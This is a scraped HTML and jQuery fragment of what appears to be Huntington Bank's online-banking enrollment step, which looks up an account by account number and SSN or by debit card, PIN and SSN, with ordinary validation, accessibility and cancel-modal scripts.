    <div class="u-g-pad-top-m u-g-pad-bottom-m">
        You're just a few steps away from accessing your account.
    </div>

    <div class="c-g-icon-msg u-g-mar-top-s u-g-mar-bottom-s u-g-bgc-silver u-g-pad-all-s u-g-flex-center u-g-txt-left u-g-fz-body--small">
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 50 50" class="c-g-icon-msg__icon c-g-icon-msg__icon--25 u-g-self-start">
        <svg id="g-rpp__info_2120174952" viewBox="0 0 512 512" width="100%" height="100%" aria-hidden="true" focusable="false">
            <title>Information Icon.</title>
            <path d="M256 483.4C130.4 483.4 28.6 381.6 28.6 256S130.4 28.6 256 28.6 483.4 130.4 483.4 256 381.6 483.4 256 483.4M256 0C114.3 0 0 114.3 0 256s114.3 256 256 256 256-114.3 256-256S397.7 0 256 0"></path>
            <path d="M258.3 105.6c23.5 0 42.1 16.9 42.1 38.2 0 21.7-18.6 38.2-42.1 38.2-23.9 0-42.1-16.5-42.1-38.2.5-21.4 18.2-38.2 42.1-38.2zM276 404.4s-9.3 1.6-20.4 1.6c-38.1 0-66-17.7-60.7-56.6l20-147.4h70.4l-18.6 138.6c-1.3 7.6 2.2 12 16.4 12l-7.1 51.8z"></path>
        </svg>
    </svg>
    <div class="c-g-icon-msg__msg"><span class='u-g-fz-body--small'><b>Business customers: </b> to enroll in online banking call (800) 480-2001.</span></div>
</div>


    <div class="u-g-fw-bold u-g-pad-bottom-s u-g-pad-top-m">
        Where should we look up your account info?
    </div>


    <div id="IsHuntington">

        <div id="radio-group-1" role="group">
            <input id="HuntingtonAccountMethod" name="HuntingtonAccountMethod" state-lastvalue="" type="hidden" value="" />

            <div class='u-g-disp-inline u-g-pad-bottom-s ' aria-label="Radio">
                <label for="By_Account_Number-radio" class="o-g-checkable-label" id="By_Account_Number"  data-ui-radio="" tabindex="0">
    <span role="radio" id="By_Account_Number-radio-span" class="o-g-checkable-label__field " aria-checked="false" data-ui-radio-selected-class="c-g-radio--checked" tabindex="0" aria-labelledby="By_Account_Number-radio">
        <span class="c-g-radio">
            <input type="radio"  class="c-g-radio__field" id="By_Account_Number-radio" name="Get_Account" tabindex="-1" data-ui-radio data-ui-radio-field="" value="0"  aria-label="Use my account number">
            <span class="c-g-radio__icon">
                <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50" focusable="false">
                    <title>radio button</title>
                    <circle class="u-g-fill-grey-cool" cx="25" cy="25" r="16"></circle>
                </svg>
            </span>
        </span>
    </span>
    <span class="o-g-checkable-label__text ">
        <span aria-hidden="true">Use my account number</span>
    </span>

</label>
<script type="text/javascript">
    new UiRadio($("#By_Account_Number"));
        $(document).ready(function () {
            $("#By_Account_Number-radio-span").keydown(function (e) {
                if (e.keyCode == 32) {
                    $(this).click();
                    updateRadioChecked(e);
                        $(this).change();

                }
            });

            $("#By_Account_Number-radio-span").on('change', function (e) { updateRadioChecked(e); });
        });
        function updateRadioChecked(e) {
            var $this = $(e.currentTarget);
            var $radioGroup = $this.closest("div[role='group']");

            if ($radioGroup) {
                $radioGroup.find("[aria-checked='true']").attr("aria-checked", "false");
            }

            $this.attr("aria-checked", "true");
        }

            
        $(document).ready(function () {
             document.getElementById("By_Account_Number").addEventListener('radio.change', RadioNumberSelected);

            });
            
          $("#By_Account_Number-radio-span").on('change', function (event) { RadioNumberSelected });
</script>

            </div>

            <div id="IsAccountNumber" class="hidden">
                <div class="u-g-width-100">
                    <label class="c-g-textbox  c-g-textbox--empty" for=AccountNumber>
    <span class="c-g-textbox__label">Account Number</span>
    <input aria-label="Account Number" autocapitalize="off" autocomplete="off" autocorrect="off" class=" c-g-textbox__field u-g-fz-body hol-accountnumber-box hol-unmasked-box" data-val="true" data-val-regexwithoptions="Enter a valid Account Number." data-val-regexwithoptions-flags="" data-val-regexwithoptions-pattern="[a-zA-Z0-9- ]{1,32}" id="AccountNumber" maxlength="17" name="VerifyAccountByAccountNumberViewModel.AccountNumber" spellcheck="false" state-lastvalue="" type="text" value="" />
</label>
<script>
        $(document).ready(function () {
            $("#AccountNumber").on('input', function () {
                $(this).attr('value', $(this).val());
            });

            $("#AccountNumber").on("focusin", function () {
                $(this).closest('.c-g-textbox').addClass('c-g-textbox--focused');
            });

            $("#AccountNumber").on("focusout", function (e) {
                var parentTextbox = $(this).closest('.c-g-textbox');
                parentTextbox.removeClass('c-g-textbox--focused');
                var inputValue = $(this).val();
                if (inputValue == "") {
                    parentTextbox.addClass('c-g-textbox--empty');
                } else {
                    parentTextbox.removeClass('c-g-textbox--empty');
                }
            });
        });
</script>


                    <span aria-live="assertive" class="field-validation-valid" data-input-valmsg-for="AccountNumber" data-valmsg-for="VerifyAccountByAccountNumberViewModel.AccountNumber" data-valmsg-replace="false">Enter a valid account number</span>
                </div>
                <div class="u-g-width-100 u-g-pad-bottom-s">
                    
                        <label class="c-g-textbox  c-g-textbox--empty" for=AccountSSN>
    <span class="c-g-textbox__label">Social Security Number or Tax ID</span>
    <input autocapitalize="off" autocomplete="off" autocorrect="off" class=" c-g-textbox__field u-g-fz-body hol-social-number hol-unmasked-box" data-input-mask-base="ssn" data-input-mask-placeholder="" data-val="true" data-val-regexwithoptions="Enter a valid Social Security Number or Tax ID." data-val-regexwithoptions-flags="" data-val-regexwithoptions-pattern="(?!219-?09-?9999|078-?05-?1120)\d{3}-\d{2}-\d{4}" id="AccountSSN" maxlength="11" name="VerifyAccountByAccountNumberViewModel.TaxID" spellcheck="false" state-lastvalue="" type="text" value="" />
</label>
<script>
        $(document).ready(function () {
            $("#AccountSSN").on('input', function () {
                $(this).attr('value', $(this).val());
            });

            $("#AccountSSN").on("focusin", function () {
                $(this).closest('.c-g-textbox').addClass('c-g-textbox--focused');
            });

            $("#AccountSSN").on("focusout", function (e) {
                var parentTextbox = $(this).closest('.c-g-textbox');
                parentTextbox.removeClass('c-g-textbox--focused');
                var inputValue = $(this).val();
                if (inputValue == "") {
                    parentTextbox.addClass('c-g-textbox--empty');
                } else {
                    parentTextbox.removeClass('c-g-textbox--empty');
                }
            });
        });
</script>

                        
                    <span aria-live="assertive" class="field-validation-valid" data-input-valmsg-for="AccountSSN" data-valmsg-for="VerifyAccountByAccountNumberViewModel.TaxID" data-valmsg-replace="false">Enter a valid social security number or Tax ID</span>
                    
                </div>
            </div>



            <div class='u-g-disp-inline u-g-pad-bottom-s' aria-label="Radio">
                <label for="By_Debit_Card-radio" class="o-g-checkable-label" id="By_Debit_Card"  data-ui-radio="" tabindex="0">
    <span role="radio" id="By_Debit_Card-radio-span" class="o-g-checkable-label__field " aria-checked="false" data-ui-radio-selected-class="c-g-radio--checked" tabindex="0" aria-labelledby="By_Debit_Card-radio">
        <span class="c-g-radio">
            <input type="radio"  class="c-g-radio__field" id="By_Debit_Card-radio" name="Get_Account" tabindex="-1" data-ui-radio data-ui-radio-field="" value="1"  aria-label="Use my debit card number">
            <span class="c-g-radio__icon">
                <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50" focusable="false">
                    <title>radio button</title>
                    <circle class="u-g-fill-grey-cool" cx="25" cy="25" r="16"></circle>
                </svg>
            </span>
        </span>
    </span>
    <span class="o-g-checkable-label__text ">
        <span aria-hidden="true">Use my debit card number</span>
    </span>

</label>
<script type="text/javascript">
    new UiRadio($("#By_Debit_Card"));
        $(document).ready(function () {
            $("#By_Debit_Card-radio-span").keydown(function (e) {
                if (e.keyCode == 32) {
                    $(this).click();
                    updateRadioChecked(e);
                        $(this).change();

                }
            });

            $("#By_Debit_Card-radio-span").on('change', function (e) { updateRadioChecked(e); });
        });
        function updateRadioChecked(e) {
            var $this = $(e.currentTarget);
            var $radioGroup = $this.closest("div[role='group']");

            if ($radioGroup) {
                $radioGroup.find("[aria-checked='true']").attr("aria-checked", "false");
            }

            $this.attr("aria-checked", "true");
        }

            
        $(document).ready(function () {
             document.getElementById("By_Debit_Card").addEventListener('radio.change', RadioDebitSelected);

            });
            
          $("#By_Debit_Card-radio-span").on('change', function (event) { RadioDebitSelected });
</script>

            </div>

            <div id="IsDebitCard" class="hidden">
                <div class="u-g-width-100">
                    <label class="c-g-textbox  c-g-textbox--empty" for=DebitCardNumber>
    <span class="c-g-textbox__label">Debit Card Number</span>
    <input aria-label="Debit Card Number Text Box" autocapitalize="off" autocomplete="off" autocorrect="off" class=" c-g-textbox__field u-g-fz-body hol-debitcard-box hol-unmasked-box" data-val="true" data-val-regexwithoptions="Enter a valid Debit Card Number." data-val-regexwithoptions-flags="" data-val-regexwithoptions-pattern="\d{4} \d{4} \d{4} \d{4}" id="DebitCardNumber" name="VerifyAccountByDebitCardViewModel.DebitCardNum" spellcheck="false" state-lastvalue="" type="text" value="" />
</label>
<script>
        $(document).ready(function () {
            $("#DebitCardNumber").on('input', function () {
                $(this).attr('value', $(this).val());
            });

            $("#DebitCardNumber").on("focusin", function () {
                $(this).closest('.c-g-textbox').addClass('c-g-textbox--focused');
            });

            $("#DebitCardNumber").on("focusout", function (e) {
                var parentTextbox = $(this).closest('.c-g-textbox');
                parentTextbox.removeClass('c-g-textbox--focused');
                var inputValue = $(this).val();
                if (inputValue == "") {
                    parentTextbox.addClass('c-g-textbox--empty');
                } else {
                    parentTextbox.removeClass('c-g-textbox--empty');
                }
            });
        });
</script>

                    <span aria-live="assertive" class="field-validation-valid" data-input-valmsg-for="DebitCardNumber" data-valmsg-for="VerifyAccountByDebitCardViewModel.DebitCardNum" data-valmsg-replace="false">Enter a valid debit card number</span>
                </div>
                <div class="u-g-width-50@medium u-g-width-66">
                    <label class="c-g-textbox  c-g-textbox--empty" for=PIN>
    <span class="c-g-textbox__label">PIN</span>
    <input aria-label="PIN Text Box" autocapitalize="off" autocomplete="off" autocorrect="off" class=" c-g-textbox__field u-g-fz-body hol-pin-number hol-unmasked-box" data-val="true" data-val-regexwithoptions="Enter a valid PIN." data-val-regexwithoptions-flags="" data-val-regexwithoptions-pattern="\d{4}" id="PIN" name="VerifyAccountByDebitCardViewModel.PIN" spellcheck="false" state-lastvalue="" type="text" value="" />
</label>
<script>
        $(document).ready(function () {
            $("#PIN").on('input', function () {
                $(this).attr('value', $(this).val());
            });

            $("#PIN").on("focusin", function () {
                $(this).closest('.c-g-textbox').addClass('c-g-textbox--focused');
            });

            $("#PIN").on("focusout", function (e) {
                var parentTextbox = $(this).closest('.c-g-textbox');
                parentTextbox.removeClass('c-g-textbox--focused');
                var inputValue = $(this).val();
                if (inputValue == "") {
                    parentTextbox.addClass('c-g-textbox--empty');
                } else {
                    parentTextbox.removeClass('c-g-textbox--empty');
                }
            });
        });
</script>

                    <span aria-live="assertive" class="field-validation-valid" data-input-valmsg-for="PIN" data-valmsg-for="VerifyAccountByDebitCardViewModel.PIN" data-valmsg-replace="false">Enter a valid 4-digit PIN</span>
                </div>
                <div class="u-g-width-100">
                    
                        <label class="c-g-textbox  c-g-textbox--empty" for=DebitSSN>
    <span class="c-g-textbox__label">Social Security Number or Tax ID</span>
    <input autocapitalize="off" autocomplete="off" autocorrect="off" class=" c-g-textbox__field u-g-fz-body hol-social-number hol-unmasked-box" data-input-mask-base="ssn" data-input-mask-placeholder="" data-val="true" data-val-regexwithoptions="Enter a valid Social Security Number or Tax ID." data-val-regexwithoptions-flags="" data-val-regexwithoptions-pattern="(?!219-?09-?9999|078-?05-?1120)\d{3}-\d{2}-\d{4}" id="DebitSSN" maxlength="11" name="VerifyAccountByDebitCardViewModel.DebitTaxID" spellcheck="false" state-lastvalue="" type="text" value="" />
</label>
<script>
        $(document).ready(function () {
            $("#DebitSSN").on('input', function () {
                $(this).attr('value', $(this).val());
            });

            $("#DebitSSN").on("focusin", function () {
                $(this).closest('.c-g-textbox').addClass('c-g-textbox--focused');
            });

            $("#DebitSSN").on("focusout", function (e) {
                var parentTextbox = $(this).closest('.c-g-textbox');
                parentTextbox.removeClass('c-g-textbox--focused');
                var inputValue = $(this).val();
                if (inputValue == "") {
                    parentTextbox.addClass('c-g-textbox--empty');
                } else {
                    parentTextbox.removeClass('c-g-textbox--empty');
                }
            });
        });
</script>

                        
                    <span aria-live="assertive" class="field-validation-valid" data-input-valmsg-for="DebitSSN" data-valmsg-for="VerifyAccountByDebitCardViewModel.DebitTaxID" data-valmsg-replace="false">Enter a valid social security number or Tax ID</span>
                    
                </div>
            </div>
        </div>
    </div>



    <div class="u-g-mar-top-l">
        <div class="u-g-mar-bottom-xs u-g-disp-flex u-g-flex-justify-end">
            Next: Verify Your Identity
        </div>

        <div class="u-g-disp-flex u-g-flex-justify-end">
            <button id="btnCancel" type="button" class="c-g-btn c-g-btn--outline u-g-cursor-pointer u-g-mar-left-s u-g-pad-hz-l" data-ajax-target-container="enrollment-workflow-container"> Cancel </button>
            <button id="btnForward" type="submit" class="c-g-btn u-g-cursor-pointer u-g-mar-left-s u-g-pad-hz-l" data-ajax-target-container="enrollment-workflow-container"> Continue </button>
        </div>
    </div>

    <input data-val="true" data-val-required="The FlowDirection field is required." id="flow" name="FlowDirection" state-lastvalue="None" type="hidden" value="None" />
    <input id="ChosenPath" name="ChosenPath" state-lastvalue="" type="hidden" value="" />
    <input id="ChosenPathSaved" name="ChosenPathSaved" state-lastvalue="" type="hidden" value="" />
    <input id="SavedValue1" name="SavedValue1" state-lastvalue="" type="hidden" value="" />
    <input id="SavedValue2" name="SavedValue2" state-lastvalue="" type="hidden" value="" />
    <input id="SavedValue3" name="SavedValue3" state-lastvalue="" type="hidden" value="" />
    <input data-val="true" data-val-required="The IsError field is required." id="ErrorMessage_IsError" name="ErrorMessage.IsError" state-lastvalue="False" type="hidden" value="False" />
</div>
<script type="text/javascript">
        $(document).ready(function () {
            $('#btnBack').click(function (e) {
                $('#btnBack').attr('clicked', 'true');
                if ($("#flow").val().toLowerCase() == 'none') {
                    $('#flow').val('Back');
                } else {
                    e.preventDefault();
                }
            });

            $('#btnForward').click(function (e) {
                if ($("#flow") !=="" && $("#flow").val().toLowerCase() != 'back') {
                    $('#flow').val('None');
                    $('#flow').val('Forward');
                } else {
                    e.preventDefault();
                }
                if (false) {
                    $('#btnForward').addClass('c-g-btn--spinner-loading c-g-btn--spinner--cursor--auto');//c-g-btn--spinner--cursor--auto-> to show pointer instead of hand on disabled for cursor
                    $('#btnForward').attr('aria-label','button clicked waiting for processing to complete, please do not click or hit enter again.');
                    $('#btnForward').attr('disabled', true);
                    //other browsers except IE(do not need submit after button disable) form is not submitted so adding submit for chrome,FF
                    if (navigator.userAgent.match(/msie|trident/i)===null){
                        setTimeout(function () {
                            $('#btnForward').closest('form').submit();
                        }, 1000);
                    }
                   // added this code to fix back button in workflows.
                    if ($('#btnForward').closest('form').find('#validationSummary').hasClass('u-g-disp-block'))
                        $('#flow').val('None');
                }
            });

        });
</script>
<span class="u-g-disp-none u-g-a11y-hide-text" data-validator-script="deffbaaedeaa" aria-hidden="true">
    <script type="text/javascript">
            $(document).ready(function () {
                var form = $('[data-validator-script="deffbaaedeaa"]').closest('form');
                if (form == null || form == undefined) console.error('Validator :: No form found.');
                else new FormValidator(JSON.parse('{"formId":null,"textBoxSettings":{"doValidate":true,"styling":"BorderStylingOnControl"},"checkBoxSettings":{"validationMessages":["Make a selection"],"doValidate":true,"styling":"BoxStylingAroundControl"},"radioButtonSettings":{"validationMessages":["Choose a method to find your account"],"doValidate":true,"styling":"BoxStylingAroundControl"},"selectListSettings":{"doValidate":true,"styling":"BorderStylingOnControl"},"useValidationSummary":true,"ignoreValidation":false,"validationSummaryForOneError":true,"scrollOnFocusOut":false,"alwaysShowValidationSummary":false,"ignoreValidationTabOut":false}'), form);
            });
    </script>
</span>
</form>
<script type="text/javascript">

    startWorkflowAnimation();
    var enrollment = new Enrollment();
    var analyticsTags = null;

    function RadioNumberSelected() {
        enrollment.accountInfo.RadioNumberSelected();
    };

    function RadioDebitSelected() {
        enrollment.accountInfo.RadioDebitSelected();
    };


    var conversionEnabled = "False";
    var error = "False";
    var form = $("#accountInfoForm");
    var acctNumber = document.getElementById("AccountNumber");
    var acctSSN = document.getElementById("AccountSSN");
    var debitAcctNumber = document.getElementById("DebitCardNumber");
    var debitPin = document.getElementById("PIN");
    var debitSSN = document.getElementById("DebitSSN");

    var radios = document.getElementsByName("Get_Account");
    var tcfRadios = document.getElementsByName("Get_TCF_Account");
    var tcfLoginId = document.getElementById("TCFLoginID");
    var tcfLoginSSN = document.getElementById("TCFLoginSSN");
    var tcfAccountNumber = document.getElementById("TCFAccountNumber");
    var tcfAccountSSN = document.getElementById("TCFAccountSSN");
    var tcfDebitCardNumber = document.getElementById("TCFDebitCardNumber");
    var tcfDebitCardPin = document.getElementById("TCFPIN");
    var tcfDebitCardSSN = document.getElementById("TCFDebitSSN");

    var tag = GetAnalyticsTag("EnrollVerify");
    var tagConversion = GetAnalyticsTag("EnrollVerifyConversion");

    $(document).ready(function () {

        enrollment.initializeAccountInfo();
        stopWorkflowAnimation();

        $(document).on('submit', function () { startWorkflowAnimation(); });
    });
</script>

</div>





<div id="cancelModel-modal-id" class="c-g-modal " data-modal="cancelModel" data-modal-parent="" data-interrupt-esc="False" data-model-open-class="c-g-modal--active" tabindex="0" role="dialog" aria-labelledby="cancelModel-header-text">
    <div data-modal-outer-container="Normal" class="c-g-modal__window o-g-vhc o-g-vhc--100 o-g-vhc--80@medium o-g-vhc--ie-hack u-g-pad-all-0 
                 ">

        <div class="o-g-vhc__content c-g-modal__window-header u-g-mar-offset-all-0 " data-modal-header-container>
            <div id="cancelModel-nav-link" class="u-g-cursor-pointer u-g-disp-none">
                <svg xmlns="http://www.w3.org/2000/svg" version="1.1" id="Layer_cancelModel" x="0px" y="0px" viewBox="0 0 16.8 26" style="enable-background:new 0 0 17 26; transform: scale(-1,1);" xml:space="preserve" class="b-g-icon">
                <path d="M16.5,13.7l-12,12c-0.4,0.4-1,0.4-1.4,0c0,0,0,0,0,0L0.3,23c-0.4-0.4-0.4-1,0-1.4c0,0,0,0,0,0L8.9,13L0.3,4.4  c-0.4-0.4-0.4-1,0-1.4c0,0,0,0,0,0L3,0.3c0.4-0.4,1-0.4,1.4,0c0,0,0,0,0,0l12,12C16.9,12.7,16.9,13.3,16.5,13.7  C16.5,13.7,16.5,13.7,16.5,13.7z" />















                                </svg>
                <span id="cancelModel-nav-link-text" class="u-g-fd-underline"></span>
            </div>
            <h3 id="cancelModel-header-text" class="u-g-h3 u-g-width-85 u-g-width-100@medium" tabindex="0" data-modal-header-text="Are you sure you want to leave?"> Are you sure you want to leave?</h3>
        </div>

        <div id="cancelModel-scroll" class="o-g-vhc__content o-g-vhc__content--variable" data-ajax-container="cancelModel-container" data-modal-partialview-container=""></div>

        <div class="c-g-preloader" data-ajax-name="cancelModel-container">
    <div title="Loading" class="c-g-preloader__icon-container">
        <div class="c-g-preloader__icon c-g-preloader__icon--1 a-g-preloader a-g-preloader-1"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--2 a-g-preloader a-g-preloader-2"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--3 a-g-preloader a-g-preloader-3"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--4 a-g-preloader a-g-preloader-3"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--5 a-g-preloader a-g-preloader-2"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--6 a-g-preloader a-g-preloader-1"></div>
    </div>
    <div class="c-g-preloader__text a-g-preloader-text">Loading</div>
</div>



<div role="button" class="c-g-modal__close"  data-close-modal tabindex="0" aria-label="close button">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50" focusable="false">
        <title>Close icon.</title>
        <path class="u-g-fill-grey-cool" d="M24.92449,1A23.99992,23.99992,0,1,0,49,25.07551,24.007,24.007,0,0,0,24.92449,1Zm0,43.987A19.91151,19.91151,0,1,1,44.836,25.07551,19.93588,19.93588,0,0,1,24.92449,44.987Z" />
        <polygon class="u-g-fill-grey-cool" points="33.934 14.022 24.924 23.031 15.991 14.098 13.114 16.975 22.048 25.908 13.114 34.842 15.991 37.719 24.924 28.785 33.858 37.719 36.735 34.842 27.801 25.908 36.811 16.899 33.934 14.022" />
    </svg>
</div>
    </div>
</div>
<script>
            $(document).ready(function () {
                var triggerID = 'btnCancel';

                if (triggerID) {
                    if (triggerID.includes("data-")) {
                        $("[" + triggerID + "]").click(function (event) {
                            populateModal();
                        });
                    }
                    else {
                        $("#" + triggerID).off("click").on("click", function () {
                            populateModal();
                        });
                    }
                }
                function populateModal() {
                    var modalId = $("#cancelModel-modal-id");
                    var vID = Math.floor(Math.random() * 100) + Date.now();
                    var url = "/Retail/SelfService/Enrollment/_CancelWarningModal?" + "v=" + vID;

                    //restore header
                    var modalHeader = modalId.find('[data-modal-header-container]');
                    if (modalHeader.length) {
                        var defaultHeaderText = $("#cancelModel-header-text").data('modal-header-text').trim();

                        $("#cancelModel-header-text").text(defaultHeaderText);

                        if (modalHeader.is(":hidden") && $("#cancelModel-header-text").text().trim().length) {
                            modalHeader.show();
                            modalHeader.find("h3")
                                .first()
                                .attr("tabindex", "0");
                        }
                        else if ($("#cancelModel-header-text").text().trim().length == 0) {
                            modalHeader.hide();
                        }
                    }

                    //restore size
                    var outerContainer = modalId.find('[data-modal-outer-container]');
                    if (outerContainer.data('modal-outer-container') === 'Normal') {
                        outerContainer.removeClass('c-g-modal__window--large');
                    }

                    openModal(modalId[0].id, url);
                }

            });

            
</script>

   
                            </main>
                        </div>
                    </div>
                </div>


<!-- Footer --> 

<footer class="c-g-footer">
    <div class="u-g-aria-only" id="footer" tabindex="-1" aria-label="Footer Section Hit Tab To Continue"></div>
    <div class="c-g-footer__content u-g-pad-bottom-l">
        <div class="u-g-pad-all-l">
            <svg class="c-g-footer__logo" tabindex="0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 616.3001 121.3">
                <title>Huntington, Welcome.</title>
                <path class="u-g-fill-white" d="M367.1,97.3a1.36707,1.36707,0,0,1-1.4,1.4H348a1.36707,1.36707,0,0,1-1.4-1.4V35.7a1.36708,1.36708,0,0,1,1.4-1.4h17.8a1.36707,1.36707,0,0,1,1.4,1.4V97.3Z" transform="translate(-5.3 -4.8)"></path>
                <path class="u-g-fill-white" d="M192.5,9.6H173.4A1.36707,1.36707,0,0,0,172,11V43H156.6V11a1.36707,1.36707,0,0,0-1.4-1.4H136.1a1.36707,1.36707,0,0,0-1.4,1.4V97.4a1.36707,1.36707,0,0,0,1.4,1.4h19.1a1.36707,1.36707,0,0,0,1.4-1.4v-35H172v35a1.36707,1.36707,0,0,0,1.4,1.4h19.1a1.36707,1.36707,0,0,0,1.4-1.4V11A1.36707,1.36707,0,0,0,192.5,9.6Z" transform="translate(-5.3 -4.8)"></path>
                <path class="u-g-fill-white" d="M374,97.3a1.36707,1.36707,0,0,0,1.4,1.4h17.3a1.36707,1.36707,0,0,0,1.4-1.4V48.8h4.6a4.22537,4.22537,0,0,1,4.2,4.2V97.3a1.36707,1.36707,0,0,0,1.4,1.4h17.4a1.36707,1.36707,0,0,0,1.4-1.4V48.9a14.51042,14.51042,0,0,0-14.5-14.5H376.4a2.21953,2.21953,0,0,0-2.2,2.2V97.3Z" transform="translate(-5.3 -4.8)"></path>
                <path class="u-g-fill-white" d="M572.5,97.3a1.36706,1.36706,0,0,0,1.4,1.4h17.3a1.3671,1.3671,0,0,0,1.4-1.4V48.8h4.6a4.22537,4.22537,0,0,1,4.2,4.2V97.3a1.36706,1.36706,0,0,0,1.4,1.4h17.4a1.3671,1.3671,0,0,0,1.4-1.4V48.9a14.51042,14.51042,0,0,0-14.5-14.5h-32.2a2.21953,2.21953,0,0,0-2.2,2.2V97.3Z" transform="translate(-5.3 -4.8)"></path>
                <path class="u-g-fill-white" d="M256.9,97.3a1.36707,1.36707,0,0,0,1.4,1.4h17.3a1.36707,1.36707,0,0,0,1.4-1.4V48.8h4.6a4.22537,4.22537,0,0,1,4.2,4.2V97.3a1.36707,1.36707,0,0,0,1.4,1.4h17.4a1.36707,1.36707,0,0,0,1.4-1.4V48.9a14.51042,14.51042,0,0,0-14.5-14.5H259.3a2.21953,2.21953,0,0,0-2.2,2.2V97.3Z" transform="translate(-5.3 -4.8)"></path>
                <path class="u-g-fill-white" d="M249.8,35.7a1.36708,1.36708,0,0,0-1.4-1.4H231.1a1.36707,1.36707,0,0,0-1.4,1.4V84.2h-4.6a4.22534,4.22534,0,0,1-4.2-4.2V35.7a1.36708,1.36708,0,0,0-1.4-1.4H202.1a1.36707,1.36707,0,0,0-1.4,1.4V84.1a14.51042,14.51042,0,0,0,14.5,14.5h32.2a2.21953,2.21953,0,0,0,2.2-2.2V35.7Z" transform="translate(-5.3 -4.8)"></path>
                <path class="u-g-fill-white" d="M338.9,84.3h-3.4a4.22537,4.22537,0,0,1-4.2-4.2V51.7h7.6a1.36707,1.36707,0,0,0,1.4-1.4V35.7a1.36708,1.36708,0,0,0-1.4-1.4h-7.6V22.5a1.36708,1.36708,0,0,0-1.4-1.4H313.4a1.36708,1.36708,0,0,0-1.4,1.4V84.1a14.51042,14.51042,0,0,0,14.5,14.5h12.4a1.36707,1.36707,0,0,0,1.4-1.4V85.7A1.43016,1.43016,0,0,0,338.9,84.3Z" transform="translate(-5.3 -4.8)"></path>
                <path class="u-g-fill-white" d="M511.1,84.3h-3.4a4.22537,4.22537,0,0,1-4.2-4.2V51.7h7.6a1.36707,1.36707,0,0,0,1.4-1.4V35.7a1.36708,1.36708,0,0,0-1.4-1.4h-7.6V22.5a1.36708,1.36708,0,0,0-1.4-1.4H485.6a1.36708,1.36708,0,0,0-1.4,1.4V84.1a14.51042,14.51042,0,0,0,14.5,14.5h12.4a1.36707,1.36707,0,0,0,1.4-1.4V85.7A1.36707,1.36707,0,0,0,511.1,84.3Z" transform="translate(-5.3 -4.8)"></path>
                <path class="u-g-fill-white" d="M476.5,34.3h-33A14.51042,14.51042,0,0,0,429,48.8V84.1a14.51042,14.51042,0,0,0,14.5,14.5h14.3v8.5a3.37194,3.37194,0,0,1-3.4,3.4h-2a3.37194,3.37194,0,0,1-3.4-3.4v-2.7a1.36707,1.36707,0,0,0-1.4-1.4H430.3a1.36707,1.36707,0,0,0-1.4,1.4v5.1h0c0,10,5.2,13.4,14.2,15.4a51.39992,51.39992,0,0,0,10.3,1h0a60.32644,60.32644,0,0,0,10.3-1c9-2,14.2-5.4,14.2-15.4V35.7A1.43023,1.43023,0,0,0,476.5,34.3Zm-18.7,50h-4.6a4.22537,4.22537,0,0,1-4.2-4.2V53a4.22535,4.22535,0,0,1,4.2-4.2h4.6Z" transform="translate(-5.3 -4.8)"></path>
                <path class="u-g-fill-white" d="M552.2,34.3a51.39993,51.39993,0,0,0-10.3-1,60.32648,60.32648,0,0,0-10.3,1c-9,2-14.2,5.4-14.2,15.4V83.3c0,10,5.2,13.4,14.2,15.4a51.39993,51.39993,0,0,0,10.3,1,60.32608,60.32608,0,0,0,10.3-1c9-2,14.2-5.4,14.2-15.4V49.8C566.3,39.7,561.1,36.4,552.2,34.3ZM546.9,80a4.22536,4.22536,0,0,1-4.2,4.2H541a4.22537,4.22537,0,0,1-4.2-4.2V53a4.22537,4.22537,0,0,1,4.2-4.2h1.7a4.22537,4.22537,0,0,1,4.2,4.2Z" transform="translate(-5.3 -4.8)"></path>
                <polygon class="u-g-fill-white" points="51.2 37.6 51.2 0 37.6 7.9 37.6 45.5 51.2 37.6"></polygon>
                <polygon class="u-g-fill-white" points="56.3 83.7 56.3 121.3 70 113.4 70 75.8 56.3 83.7"></polygon>
                <polygon class="u-g-fill-white" points="37.6 72.8 37.6 113.4 51.2 121.3 51.2 81 75.1 67.2 75.1 110.4 88.8 102.6 88.8 18.7 75.1 10.9 75.1 51.1 37.6 72.8"></polygon>
                <polygon class="u-g-fill-white" points="32.4 10.9 18.8 18.8 18.8 102.6 32.4 110.4 32.4 70.2 70 48.5 70 7.9 56.3 0 56.3 40.3 32.4 54.1 32.4 10.9"></polygon>
                <path class="u-g-fill-white" d="M19,26.5,7.4,33.2a4.48288,4.48288,0,0,0-2.1,3.3V94.4a4.37323,4.37323,0,0,0,2.1,3.3L19,104.4Z" transform="translate(-5.3 -4.8)"></path>
                <path class="u-g-fill-white" d="M99.2,104.4l11.6-6.7a4.48287,4.48287,0,0,0,2.1-3.3V36.5a4.37322,4.37322,0,0,0-2.1-3.3L99.2,26.5Z" transform="translate(-5.3 -4.8)"></path>
            </svg>
        </div>
        <div class="o-g-row u-g-txt-left u-g-pad-bottom-l">

            <div class="o-g-row__col   o-g-row__col--span-12 o-g-row__col--span-4@medium   u-g-pad-all-0">
                    <div class="u-g-pad-top-s u-g-pad-bottom-m u-g-pad-left-m@medium u-g-pad-right-m@medium u-g-pad-right-l@large">
                        <div class="c-g-contact">
                            <div class="c-g-contact__icon">
                                <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50" aria-hidden="true">
                                    <path class="u-g-fill-green-light" d="M43.75,35.97949H47.5v2.25a1.878,1.878,0,0,1-1.10156,1.59375,5.0835,5.0835,0,0,1-2.64844.65625H6.25a5.0835,5.0835,0,0,1-2.64844-.65625A1.878,1.878,0,0,1,2.5,38.22949v-2.25H43.75Zm-31.5-1.5a3.761,3.761,0,0,1-3.75-3.75v-16.5a3.761,3.761,0,0,1,3.75-3.75h25.5a3.761,3.761,0,0,1,3.75,3.75v16.5a3.761,3.761,0,0,1-3.75,3.75Zm-.75-20.25v16.5a.76044.76044,0,0,0,.75.75h25.5a.76044.76044,0,0,0,.75-.75v-16.5a.76044.76044,0,0,0-.75-.75H12.25a.76044.76044,0,0,0-.75.75Zm15.375,24a.375.375,0,0,0,0-.75h-3.75a.375.375,0,0,0,0,.75Z"></path>
                                </svg>
                            </div>
                            <div class="c-g-contact__content">
